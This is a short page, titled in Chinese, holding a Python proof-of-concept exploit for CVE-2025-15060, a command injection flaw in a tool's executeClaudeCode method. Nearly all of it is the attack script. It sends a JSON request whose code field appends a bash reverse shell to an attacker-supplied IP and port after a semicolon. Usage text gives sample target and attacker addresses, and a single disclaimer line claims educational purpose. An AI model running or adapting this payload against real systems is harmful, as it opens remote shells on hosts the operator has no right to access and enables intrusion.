CVE-2025-15060 claude-hovercraft executeClaudeCode命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-15060 PoC - claude-hovercraft executeClaudeCode Command Injection Reference: ZDI-CAN-27785 Note: This PoC is for educational and security testing purposes only. """ import requests import json import sys def exploit(target_url, attacker_ip, attacker_port): """ Exploit CVE-2025-15060 by injecting a reverse shell command """ # Malicious payload - command injection via executeClaudeCode # Using semicolon to inject arbitrary command payload = f"test; bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" exploit_data = { "method": "executeClaudeCode", "params": { "code": payload } } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.post( target_url, json=exploit_data, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} http://target:8080/api 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] exploit(target, ip, port)